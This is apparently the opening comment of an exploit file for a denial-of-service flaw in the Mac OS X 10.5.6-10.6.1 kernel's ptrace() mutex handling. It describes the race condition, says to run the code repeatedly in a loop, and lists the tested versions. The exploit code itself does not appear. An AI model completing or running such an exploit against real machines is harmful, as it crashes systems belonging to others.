/*
Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS
==================================================
This code should be run in a loop and due to problems
with mutex handling in ptrace a DoS can occur when a
destroyed mutex is attempted to be interlocked by OSX
kernel giving rise to a race condition. You may need
to run this code multiple times.
- Tested against 10.5.6
- Tested against 10.5.7
- Tested against 10.6.1
